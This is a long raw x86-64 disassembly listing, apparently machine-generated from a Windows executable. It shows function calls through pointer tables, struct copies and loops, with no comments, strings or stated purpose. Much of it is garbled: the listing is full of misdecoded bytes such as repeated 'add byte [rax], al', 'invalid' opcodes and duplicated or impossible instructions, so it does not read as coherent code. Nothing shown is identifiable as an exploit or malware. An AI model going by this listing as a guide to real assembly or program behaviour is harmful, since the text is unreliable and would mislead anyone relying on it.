add byte [rax], al
mov rcx, qword [rdx + 0x40]
mov rax, qword [rdx + 0x48]
lea rbx, [rdx + 0x38]
mov rax, qword [rax + 0x20]
mov dl, 1
mov byte [rbp + 0x117d], dl
mov byte [rbp + 0x117c], dl
mov byte [rbp + 0x117b], dl
mov byte [rbp + 0x117a], dl
mov rdx, rbx
call rax
mov qword [rbp + 0x1110], rax
mov qword [rbp + 0x1108], rdx
add byte [rax - 0x7d], cl
mov ebp, 0x1110
add byte [rdi], cl
invalid
invalid
add eax, dword [rax]
invalid
mov rax, qword [rbp + 0x1128]
mov rcx, qword [rax + 0x40]
mov rax, qword [rax + 0x48]
mov rax, qword [rax + 0x20]
mov dl, 1
mov byte [rbp + 0x1179], dl
mov byte [rbp + 0x1178], dl
mov byte [rbp + 0x1177], dl
mov byte [rbp + 0x1176], dl
mov byte [rbp + 0x1175], dl
add byte [rax], al
add byte [rax], al
mov rdx, rbx
call rax
test rax, rax
je case.0x14014975d.411
mov qword [rbp + 0x1028], rax
mov qword [rbp + 0x1020], rdx
mov dword [rbp + 0x1020], edx
mov dword [rbp + 0x1020], edx
mov rax, qword [rbp + 0x1128]
mov rcx, qword [rax + 0x40]
mov rax, qword [rax + 0x48]
mov rax, qword [rax + 0x30]
xor byte [rdx + 0x74958801], dh
adc dword [rax], eax
add byte [rax + 0x117395], cl
add byte [rax + 0x117295], cl
add byte [rax], al
mov byte [rbp + 0x1171], dl
mov byte [rbp + 0x1170], dl
mov byte [rbp + 0x116f], dl
mov rdx, rdi
call rax
mov qword [rbp + 0x1030], rdx
adc byte [rax], al
add byte [rax - 0x7b], cl
test eax, eax
je 0x140185bc5
mov qword [rbp + 0x1038], rax
mov rax, qword [rbp + 0x1128]
mov rcx, qword [rax + 0x40]
mov rax, qword [rax + 0x48]
adc byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x1128]
mov rcx, qword [rax + 0x40]
mov rax, qword [rax + 0x48]
mov rax, qword [rax + 0x30]
mov dl, 1
mov byte [rbp + 0x116e], dl
mov byte [rbp + 0x116d], dl
mov byte [rbp + 0x116c], 0
mov byte [rbp + 0x116b], dl
add byte [rax + 0x116a95], cl
add byte [rax + 0x116995], cl
add byte [rax + 0x116895], cl
add byte [rax - 0x77], cl
cli
call rax
mov qword [rbp + 0x1118], rdx
test rax, rax
je 0x140185bd6
mov qword [rbp + 0x1120], rax
mov rcx, qword [rbp + 0x1038]
mov ecx, dword [rbp + 0x1038]
add byte [rax], al
mov rax, qword [rbp + 0x1030]
call qword [rax + 0x18]
mov rdi, rax
mov rbx, rdx
mov rcx, qword [rbp + 0x1120]
mov rax, qword [rbp + 0x1118]
call qword [rax + 0x18]
mov r9, rdx
mov ecx, edx
mov ecx, edx
mov rcx, rdi
mov rdx, rbx
mov r8, rax
call fcn.14005a06a
mov ebx, eax
test al, al
je case.0x14014975d.409
add byte [rax], al
mov eax, dword [rbp + 0xe50]
mov ecx, dword [rbp + 0xe53]
mov dword [rbp + 0x59f], ecx
mov dword [rbp + 0x59c], eax
mov eax, dword [rbp + 0xf8]
mov ecx, dword [rbp + 0xfb]
mov dword [rbp + 0x714], eax
mov dword [rbp + 0x717], ecx
add byte [rax], al
mov rdx, qword [rbp + 0x1038]
xchg ebp, eax
cmp byte [rax], dl
add byte [rax], al
mov rax, rdx
shr rax, 0x10
mov rcx, rdx
shr rcx, 0x30
mov word [rbp + 0xe16], cx
mov dword [rbp + 0xe12], eax
mov rax, qword [rbp + 0x1030]
adc byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], ebx
invalid
add byte [rax], al
and qword [rbp + 0xe20], 0
xor r12d, r12d
mov byte [rbp + 0xe28], r12b
sub byte [rsi], cl
add byte [rax], al
mov eax, dword [rbp + 0x59c]
pushfq
add eax, 0x8d8b0000
lahf
add eax, 0x85890000
sub dword [rsi], ecx
add byte [rax], al
mov dword [rbp + 0xe2c], ecx
mov rax, qword [rbp + 0x1120]
mov qword [rbp + 0xe30], rax
mov rax, qword [rbp + 0x1118]
add byte [rax - 0x77], cl
test dword [rax], edi
cmp byte [rsi], cl
add byte [rax], al
and qword [rbp + 0xe40], 0
adc byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], ebx
invalid
mov eax, dword [rbp + 0x714]
mov ecx, dword [rbp + 0x717]
mov dword [rbp + 0xe4c], ecx
mov dword [rbp + 0xe49], eax
mov byte [rbp + 0xe10], dl
mov byte [rbp + 0xe11], dh
mov byte [rbp + 0xe48], r12b
mov rdi, qword [rbp + 0x1128]
add byte [rax], al
mov r14, qword [rdi + 0x50]
test r14, r14
je 0x140185a54
mov r8, qword [rdi + 0x58]
mov rax, qword [rbp + 0x1108]
mov rax, qword [rax + 0x30]
mov byte [rbp + 0x1167], 0
mov r12b, 1
mov byte [rbp + 0x1166], r12b
mov byte [rbp + 0x1165], r12b
add byte [rax], al
mov byte [rbp + 0x1164], r12b
movsd dword [rdi], dword [rsi]
adc dword fs:[rax], eax
add byte [rax + rcx*4 - 0x5b], al
invalid
adc dword [rax], eax
invalid
mov rcx, qword [rbp + 0x1110]
mov rdx, r14
call rax
mov rdx, qword [rdi + 0x60]
test rdx, rdx
je 0x140185a90
mov rax, qword [rbp + 0x1128]
sub byte [rcx], dl
add byte [rax], al
mov r8, qword [rax + 0x68]
mov rax, qword [rbp + 0x1020]
mov rax, qword [rax + 0x30]
mov cl, 1
mov byte [rbp + 0x1162], cl
mov byte [rbp + 0x1161], cl
mov byte [rbp + 0x1160], cl
mov rcx, qword [rbp + 0x1028]
call rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0xc90], xmm0
and qword [rbp + 0xca0], 0
movaps xmmword [rbp + 0xc80], xmm0
movaps xmmword [rbp + 0xc70], xmm0
jo 0x140185aba
add byte [rax], al
mov r15, qword [r15]
test r15, r15
je 0x140185c7e
ret 1
invalid
ret 1
mov rax, qword [rbp + 0x1128]
mov rdi, qword [rax + 0x78]
mov r13b, 1
mov byte [rbp + 0x118e], r13b
add byte [rax + rcx*4 - 0x53], al
lea edx, [rcx]
add byte [rax], al
add byte [rax + rcx*4 - 0x53], al
lea edx, [rcx]
add byte [rax], al
mov byte [rbp + 0x118c], 0
lea r8, [0x14025e8c8]
lea rcx, [rbp + 0xc70]
mov rdx, rdi
call fcn.140189c0b
add byte [rax + rcx*4 - 0x53], al
mov ss, word [rcx]
add byte [rax], al
mov byte [rbp + 0x118d], r13b
mov byte [rbp + 0x118c], 0
lea rcx, [0x14025e8e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov r8, r15
mov r9, rdi
call fcn.1401c59a4
mov rax, qword [rbp + 0xca0]
or al, 0
add byte [rax - 0x77], cl
test dword [rax + 0xd], esp
add byte [rax], al
or al, 0
add byte [rax - 0x77], cl
test dword [rax + 0xd], esp
add byte [rax], al
movaps xmm0, xmmword [rbp + 0xc70]
movaps xmm1, xmmword [rbp + 0xc80]
movaps xmm2, xmmword [rbp + 0xc90]
movaps xmmword [rbp + 0xd50], xmm2
sub dword [rbp + 0xd50], edx
or al, 0
add byte [rdi], cl
sub dword [rbp + 0xd50], edx
movaps xmmword [rbp + 0xd40], xmm1
movaps xmmword [rbp + 0xd30], xmm0
mov al, 1
jmp 0x140185c9d
mov cl, 3
jmp 0x140185b6b
mov cl, 1
mov bl, 2
mov byte [rsi + 8], bl
mov byte [rsi + 9], cl
mov qword [rsi], r14
jmp 0x14018602b
mov word [rsi + 8], 0x501
mov qword [rsi], r14
jmp 0x14018600a
mov word [rsi + 8], 0x601
mov qword [rsi], r14
mov rdx, qword [rbp + 0x10f8]
mov rcx, qword [rbp + 0x1100]
mov ecx, dword [rbp + 0x1100]
mov ecx, dword [rbp + 0x1100]
jmp 0x140185ff1
mov word [rsi + 8], 0x401
mov qword [rsi], r14
mov sil, 1
jmp 0x140185fb0
cld
add eax, dword [rax]
invalid
cld
add eax, dword [rax]
add byte [rsi - 0x39], ah
mov word [rsi + 8], 0x401
invalid
mov word [rsi + 8], 0x401
mov qword [rsi], r14
mov dword [rsi], esi
add dword [rsp + rcx*2], eax
mov dword [rsi], esi
mov sil, 1
jmp 0x140185f82
invalid
add byte [rsi - 0x39], ah
or byte [rcx], r8b
add eax, 0x4036894c
mov dh, 1
mov word [rsi + 8], 0x501
mov qword [rsi], r14
mov sil, 1
jmp 0x140185f4e
add byte [rax], al
mov word [rsi + 8], 0x501
mov qword [rsi], r14
mov sil, 1
mov byte [rbp + 0x1174], sil
mov ch, 0x74
adc dword [rax], eax
add byte [rax - 0x78], al
mov ch, 0x73
adc dword [rax], eax
add byte [rax - 0x78], al
mov ch, 0x72
adc dword [rax], eax
add byte [rax - 0x78], al
mov ch, 0x71
adc dword [rax], eax
add byte [rax - 0x78], al
mov ch, 0x70
adc dword [rax], eax
add byte [rax - 0x78], al
mov ch, 0x6f
outsd dx, dword [rsi]
adc dword [rax], eax
add byte [rax - 0x75], cl
lea edi, [rax]
adc byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
xor byte [rax], dl
add byte [rax], al
outsd dx, dword [rsi]
adc dword [rax], eax
add byte [rax - 0x75], cl
lea edi, [rax]
adc byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
xor byte [rax], dl
add byte [rax], al
call fcn.140038af3
jmp 0x140185f4e
sub al, byte [rbx]
add byte [rax], al
sub al, byte [rbx]
add byte [rax], al
mov rcx, qword [rbp + 0x1120]
mov rdx, qword [rbp + 0x1118]
adc dword [rax], eax
add byte [rax - 0x75], cl
xchg ebp, eax
sbb byte [rcx], dl
add byte [rax], al
call fcn.140038af3
mov dil, 1
mov byte [rbp + 0x118b], dil
jmp 0x140185c36
inc dword [rax - 0x49]
add dword [rax - 0x78], eax
mov ebp, 0x118b
mov byte [rbp + 0x118a], dil
mov dl, byte [rcx]
add byte [rax], al
mov byte [rbp + 0x1189], dil
mov byte [rbp + 0x1188], dil
add byte [rax], al
mov byte [rbp + 0x1187], dil
mov rcx, qword [rbp + 0x1038]
mov ecx, dword [rbp + 0x1038]
mov rdx, qword [rbp + 0x1030]
call fcn.140038af3
mov word [rsi + 8], 0x201
mov qword [rsi], r14
jmp 0x140185f06
jmp 0x140185f06
movaps xmmword [rbp + 0xd50], xmm0
test dword [rax + 0xd], edx
add byte [rax], al
movaps xmmword [rbp + 0xd40], xmm0
movaps xmmword [rbp + 0xd30], xmm0
test dword [rax], esi
or eax, 0x83480000
movsd dword [rdi], dword [rsi]
invalid
invalid
add byte [rax], al
invalid
or eax, 0x83480000
movsd dword [rdi], dword [rsi]
invalid
and dword [rbp + 0xd60], 0
add byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x75], 0xbd
sub byte [rcx], dl
add byte [rax], al
xor eax, eax
mov rdi, qword [rbp + 0x1128]
xorps xmm0, xmm0
movups xmmword [rbp + 0xd19], xmm0
movaps xmmword [rbp + 0xd10], xmm0
add byte [rdi], cl
sub dword [rbp + 0xd00], eax
add byte [rdi], cl
sub dword [rbp + 0xd00], eax
movaps xmmword [rbp + 0xcf0], xmm0
xor ecx, ecx
leave
cmp rcx, 0x14a
je 0x140185cdc
mov byte [rbp + rcx + 0x452], 0
add rcx, 0x21
jmp 0x140185cc5
mov edx, 0x88
lea r8, [rbp + 0x453]
xor ecx, ecx
cmp rdx, 0x128
je 0x140185d36
add byte [rbx + rax*2 + 0x4c], dh
mov ecx, dword [rdi + rdx - 8]
mov r9, qword [rdi + rdx - 8]
test r9, r9
je 0x140185d29
cmp qword [rdi + rdx], 0x20
jne 0x140185e63
pop rbx
add dword [rax], eax
invalid
invalid
pop rbx
add dword [rax], eax
add byte [rax - 0x7d], cl
cmp rcx, 9
ja 0x1401879a3
mov byte [r8 - 1], 1
cmp rcx, 9
ja 0x1401879a3
mov byte [r8 - 1], 1
inc dword [rcx]
movups xmm0, xmmword [r9]
movups xmm1, xmmword [r9 + 0x10]
movups xmmword [r8], xmm0
movups xmmword [r8 + 0x10], xmm1
add rdx, 0x10
add r8, 0x21
inc rcx
jmp 0x140185cea
mov rcx, qword [rbp + 0x1110]
mov qword [rbp + 0xfe8], rcx
mov rcx, qword [rbp + 0x1108]
mov qword [rbp + 0xff0], rcx
mov byte [rbp + 0xff8], r12b
movsd dword [rdi], dword [rsi]
clc
sldt word [rax]
invalid
movsd dword [rdi], dword [rsi]
clc
sldt word [rax]
invalid
add byte [rbx + 0xdc18d], cl
add byte [rbx + 0xdc495], cl
add byte [rcx + 0xff98d], cl
add byte [rcx + 0xffc95], cl
mov ecx, dword [rbp + 0xdc1]
mov edx, dword [rbp + 0xdc4]
mov dword [rbp + 0xff9], ecx
mov dword [rbp + 0xffc], edx
add byte [rax - 0x75], cl
lea ebp, [rax]
sub byte [rax], dl
add byte [rax], al
xchg ebp, eax
invalid
add byte [rax - 0x75], cl
lea ebp, [rax]
sub byte [rax], dl
add byte [rax], al
invalid
invalid
invalid
sub byte [rax], dl
add byte [rax], al
mov qword [rbp + 0xfd0], rcx
mov rcx, qword [rbp + 0x1020]
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0xfd8], rcx
mov byte [rbp + 0xfe0], 0
mov ecx, dword [rbp + 0xdba]
mov edx, dword [rbp + 0xdbd]
mov dword [rbp + 0xfe1], ecx
add byte [rax], al
mov dword [rbp + 0xfe4], edx
mov rbx, qword [rdi + 0x60]
mov byte [rbp + 0xcb7], al
movaps xmm0, xmmword [rbp + 0xd30]
movaps xmm1, xmmword [rbp + 0xd40]
movaps xmm2, xmmword [rbp + 0xd50]
movups xmmword [rbp + 0xcb8], xmm0
or eax, 0x110f0000
test dword [rax + 0xf00000c], edi
adc dword [rbp + 0xcc8], ecx
add byte [rax], al
movups xmmword [rbp + 0xcc8], xmm1
movups xmmword [rbp + 0xcd8], xmm2
mov rax, qword [rbp + 0xd60]
mov qword [rbp + 0xce8], rax
mov dword [rbp + 0xce8], eax
or eax, 0x89480000
test eax, ebp
or al, 0
add byte [rdi], cl
adc byte [rdi], al
mov dword [rbp + 0xce8], eax
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
adc byte [rdi], cl
adc byte [rdi + 0x20], dl
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rbp + 0xda0], xmm3
movaps xmmword [rbp + 0xd90], xmm2
movaps xmmword [rbp + 0xd80], xmm1
movaps xmmword [rbp + 0xd70], xmm0
test dword [rax + 0xd], esi
add byte [rax], al
lea rcx, [rbp + 0x714]
lea rdx, [rbp + 0x452]
mov r8d, 0x14a
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x120]
xchg dword [rax], esp
add dword [rax], eax
add byte [rax - 0x7b], cl
ror byte [rax - 0x77], 0x9d
push 0xf00000d
test byte [rbx], dl
add al, byte [rax]
invalid
xchg dword [rax], esp
add dword [rax], eax
add byte [rax - 0x7b], cl
ror byte [rax - 0x77], 0x9d
push 0xf00000d
test byte [rbx], dl
add al, byte [rax]
add byte [rax - 0x77], cl
test dword [rax], esp
adc dword [rax], eax
add byte [rax - 0x75], cl
invalid
invalid
xchg dword [rax], ebp
or eax, 0x840f0000
adc eax, dword [rdx]
add byte [rax], al
mov qword [rbp + 0x1120], rax
mov rax, qword [rdi + 0x128]
mov qword [rbp + 0x1118], rax
mov dword [rbp + 0x1118], eax
add dword [rax], eax
add byte [rax - 0x77], cl
mov dword [rbp + 0x1118], eax
jmp 0x14018606d
mov dword [rbp + 0x1118], eax
jmp 0x14018606d
mov word [rsi + 8], 0x101
movabs rax, 0x8000000000000000
mov qword [rsi], rax
mov dword [rsi], eax
mov dword [rsi + 8], 0xb8480101
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x40068948], al
mov dword [rsi], eax
mov sil, 1
mov dword [rsi], eax
mov sil, 1
mov byte [rbp + 0x1162], sil
mov byte [rbp + 0x1161], sil
adc dword [rax], eax
add dh, al
test dword [rax + 0x11], esp
add byte [rax], al
add byte [rax - 0x75], cl
lea ebp, [rax]
adc byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
and byte [rax], dl
add byte [rax], al
call fcn.140038af3
xor eax, eax
mov byte [rbp + 0x1167], al
test dword [rdi + 0x11], esp
add byte [rax], al
invalid
test dword [rdi + 0x11], esp
add byte [rax], al
invalid
add byte [rax - 0x78], al
mov ch, 0x66
adc dword [rax], eax
add byte [rax - 0x78], al
mov ch, 0x65
adc dword [rax], eax
add byte [rax + 0x116485], cl
add byte [rax + 0x116385], cl
adc dword [rax], eax
mov byte [rbp + 0x1166], sil
mov byte [rbp + 0x1165], sil
mov byte [rbp + 0x1164], al
mov byte [rbp + 0x1163], al
adc dword [rax], eax
add byte [rax - 0x75], cl
lea edx, [rax]
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
add byte [rax - 0x75], cl
lea edx, [rax]
adc dword [rax], eax
add byte [rax], al
mov rdx, qword [rbp + 0x1108]
mov ecx, dword [rbp + 0x1110]
add byte [rax], al
mov rdx, qword [rbp + 0x1108]
call fcn.140038af3
mov al, 1
mov byte [rbp + 0x118b], al
mov byte [rbp + 0x118a], al
jmp 0x140185ed5
push qword [rax - 0x747a77ff]
adc dword [rax], eax
add byte [rax + 0x118a85], cl
add byte [rcx], dh
xor edi, edi
mov byte [rbp + 0x1189], dil
xor edi, edi
mov byte [rbp + 0x1189], dil
mov byte [rbp + 0x1188], dil
mov byte [rbp + 0x1187], al
lea rcx, [rbp + 0xe10]
call fcn.140169e88
mov al, 1
mov byte [rbp + 0x116e], al
mov byte [rbp + 0x116d], al
mov byte [rbp + 0x116c], al
add byte [rax], al
mov byte [rbp + 0x116b], 0
mov byte [rbp + 0x116a], al
mov byte [rbp + 0x1169], dil
add byte [rax + 0x116a85], cl
add byte [rax - 0x78], al
mov ebp, 0x1169
mov byte [rbp + 0x1168], dil
mov ebp, 0x1168
add byte [rax - 0x75], cl
lea eax, [rax]
add byte [rcx], dl
add byte [rax], al
mov rdx, qword [rbp + 0x10f8]
invalid
mov rcx, qword [rbp + 0x1100]
add byte [rcx], dl
add byte [rax], al
mov rdx, qword [rbp + 0x10f8]
call fcn.140038af3
stosd dword [rdi], eax
sub ebp, ebx
push qword [rcx]
invalid
test bl, bl
jne 0x140185fb0
stosd dword [rdi], eax
sub ebp, ebx
push qword [rcx]
test byte [rbx + rbx*8 + 0x1b06275], 0x88
test dword [rcx + 0x11], edi
mov al, 1
mov byte [rbp + 0x1179], al
add byte [rax], al
add byte [rax], al
mov byte [rbp + 0x1178], al
mov byte [rbp + 0x1177], sil
mov byte [rbp + 0x1176], al
test dword [rsi + 0x11], esi
add byte [rax], al
mov byte [rbp + 0x1175], al
mov rcx, qword [rbp + 0x1028]
mov rdx, qword [rbp + 0x1020]
call fcn.140038af3
mov al, 1
mov byte [rbp + 0x117d], al
add byte [rax], al
mov byte [rbp + 0x117c], al
mov byte [rbp + 0x117b], sil
mov byte [rbp + 0x117a], al
mov rcx, qword [rbp + 0x1110]
adc byte [rcx], dl
add byte [rax], al
adc byte [rcx], dl
add byte [rax], al
mov rdx, qword [rbp + 0x1108]
call fcn.140038af3
adc dword [rax], eax
add al, ch
sub ebp, r11d
push qword [rax - 0x7e7a77ff]
adc dword [rcx], 0x85880000
adc byte [rcx], 0
mov al, 1
mov byte [rbp + 0x1181], al
adc dword [rcx], 0x85880000
adc byte [rcx], 0
add byte [rax + 0x117f85], cl
invalid
adc dword [rcx], 0x85880000
adc byte [rcx], 0
add byte [rax + 0x117f85], cl
add byte [rax - 0x78], al
mov byte [rbp + 0x117e], sil
mov rcx, qword [rbp + 0x1018]
mov rdx, qword [rbp + 0x1010]
xchg ebp, eax
adc byte [rax], dl
add byte [rax], al
mov byte [rbp + 0x117e], sil
mov rcx, qword [rbp + 0x1018]
mov rdx, qword [rbp + 0x1010]
xchg ebp, eax
adc byte [rax], dl
add byte [rax], al
call fcn.140038af3
test sil, sil
mov rdx, qword [rbp + 0x10f8]
mov rcx, qword [rbp + 0x1100]
je 0x14018600a
mov al, 1
mov byte [rbp + 0x1184], al
test dword [rcx + rdx - 0x7a780000], eax
adc dword [rcx], 0
add byte [rax + 0x118285], cl
add al, ch
invalid
sub ch, bl
invalid
test dword [rcx + rdx - 0x7a780000], eax
adc dword [rcx], 0
add byte [rax + 0x118385], cl
add byte [rax + 0x118285], cl
add al, ch
test dword [rdx - 0x17ffffef], eax
jmp 0xf1184b35
mov al, 1
mov byte [rbp + 0x1186], al
add byte [rax], al
add byte [rax], al
mov byte [rbp + 0x1185], al
test dword [rcx], edx
add byte [rax], al
mov rcx, qword [rbp + 0x1008]
mov rdx, qword [rbp + 0x1000]
add byte [rax], al
add byte [rax], al
call fcn.140038af3
mov rdi, qword [rbp + 0x1128]
mov rcx, rdi
stc
stc
call fcn.140181f84
mov rcx, qword [rdi + 0x40]
mov rdx, qword [rdi + 0x48]
call fcn.140038af3
sub ch, bl
invalid
nop
add rsp, 0x1218
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x1118], rax
push 1
add dword [rax + 0x48], ebx
mov dword [rbp + 0x1120], eax
test dword [rax], esp
adc dword [rax], eax
invalid
add dword [rax + 0x48], ebx
mov dword [rbp + 0x1120], eax
test dword [rax], esp
adc dword [rax], eax
invalid
test dword [rax], esp
adc dword [rax], eax
add byte [rdi], cl
adc byte [rbp + 0xe10], al
movups xmm0, xmmword [rbp + 0xe10]
adc byte [rsi], cl
add byte [rax], al
movups xmm1, xmmword [rbp + 0xe20]
movups xmm2, xmmword [rbp + 0xe30]
add byte [rax], al
add byte [rax], al
movups xmm3, xmmword [rbp + 0xe40]
movaps xmmword [rbp + 0xc60], xmm3
popfq
invalid
add byte [rdi], cl
sub dword [rbp + 0xc60], ebx
movaps xmmword [rbp + 0xc50], xmm2
movaps xmmword [rbp + 0xc40], xmm1
or al, 0
add byte [rdi], cl
sub dword [rbp + 0xc40], ecx
movaps xmmword [rbp + 0xc30], xmm0
test r14, r14
je 0x140186105
add byte [rbp - 0x7b], cl
div byte [rbx + rbx*2 + 0x4d]
test edi, edi
test r15, r15
je 0x140186105
mov rax, qword [rbp + 0x1108]
mov rax, qword [rax + 0x20]
mov byte [rbp + 0x118f], 1
mov rcx, qword [rbp + 0x1110]
adc byte [rcx], dl
add byte [rax], al
call rax
mov r14b, 1
cmp rax, 0x38
ja 0x1401860fd
cmp byte [rbp + 0xcf0], 0
mov ebp, 0xcf0
add byte [rcx + rbp + 0x48], dh
mov rax, qword [rbp + 0x1108]
add byte [rax], al
je 0x140186105
mov rax, qword [rbp + 0x1108]
adc dword [rax], eax
add byte [rax - 0x75], cl
and sil, al
test dword [rdi + 0x1000011], ecx
mov rax, qword [rax + 0x20]
mov byte [rbp + 0x118f], 1
mov rcx, qword [rbp + 0x1110]
call rax
cmp rax, 0x38
cmp eax, 0x38
lea edx, [rax]
adc dword [rax], eax
add bh, bh
ror byte [rax - 0x7d], 1
cmp eax, 0x38
jbe 0x140186105
cmp eax, 0x38
jbe 0x140186105
xor r15d, r15d
jmp 0x1401874c4
invalid
add byte [rdi], cl
mov dh, 0x85
movabs al, byte [0x6b450d8d4800000d]
lea rcx, [0x14028cc58]
movzx eax, byte [rbp + 0xda0]
lea rcx, [0x14028cc58]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xbd8]
lea rbx, [0x14025eec8]
lea r15, [rbp + 0x1040]
add byte [rax], al
add byte [rax], al
cmp rdi, 0x10
call qword [rax]
je 0x140186ff8
test al, 0xe
add byte [rax], al
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
or byte [rbp + rcx*4 + 4], cl
mov byte [rbp + 0x115e], 1
or byte [rbp + rcx*4 + 4], cl
mov byte [rbp + 0x115e], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x115e], 0
mov rcx, r15
mov rdx, r14
bnd call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x140186146
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x860]
lea rbx, [0x14025f578]
lea r15, [rbp + 0x1040]
add byte [rax], al
add byte [rax], al
cmp rdi, 0x30
push qword [rax]
je 0x14018709c
fmul qword [rsi]
add byte [rax], al
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
or byte [rbp + rcx*4 + 4], cl
mov byte [rbp + 0x1139], 1
or byte [rbp + rcx*4 + 4], cl
mov byte [rbp + 0x1139], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1139], 0
mov rcx, r15
mov rdx, r14
bnd call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x1401861b6
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x890]
lea rbx, [0x14025f518]
lea r15, [rbp + 0x1040]
add byte [rax], al
add byte [rax], al
cmp rdi, 0x30
push qword [rax]
je 0x14018709c
insb byte [rdi], dx
invalid
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
or byte [rbp + rcx*4 + 4], cl
mov byte [rbp + 0x113b], 1
or byte [rbp + rcx*4 + 4], cl
mov byte [rbp + 0x113b], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x113b], 0
mov rcx, r15
mov rdx, r14
bnd call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x140186226
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x878]
lea rbx, [0x14025f548]
lea r15, [rbp + 0x1040]
add byte [rax], al
add byte [rax], al
cmp rdi, 0x30
push qword [rax]
je 0x14018709c
cld
or eax, 0x894c0000
int1
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
or byte [rbp + rcx*4 + 4], cl
mov byte [rbp + 0x113a], 1
or byte [rbp + rcx*4 + 4], cl
mov byte [rbp + 0x113a], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x113a], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x140186296
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x950]
lea rbx, [0x14025f390]
lea r15, [rbp + 0x1040]
add byte [rax], al
add byte [rax], al
cmp rdi, 0x30
push qword [rax]
je 0x14018724e
sldt word ds:[rax]
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
or byte [rbp + rcx*4 + 4], cl
mov byte [rbp + 0x1143], 1
or byte [rbp + rcx*4 + 4], cl
mov byte [rbp + 0x1143], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1143], 0
mov rcx, r15
mov rdx, r14
bnd call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x140186306
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x8a8]
lea rbx, [0x14025f4e8]
lea r15, [rbp + 0x1040]
add byte [rax], al
add byte [rax], al
cmp rdi, 0x30
push qword [rax]
je 0x140186ff8
js 0x14018638a
add byte [rax], al
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
adc al, 0x1f
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x113c], 1
or byte [rbp + rcx*4 + 4], cl
mov byte [rbp + 0x113c], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x113c], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x140186376
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xa58]
lea rbx, [0x14025f120]
lea r15, [rbp + 0x1040]
add byte [rax], al
add byte [rax], al
cmp rdi, 0x30
je 0x14018709c
lodsb al, byte [rsi]
or al, 0
invalid
lodsb al, byte [rsi]
or al, 0
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x114e], 1
mov byte [rbp + 0x114e], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x114e], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
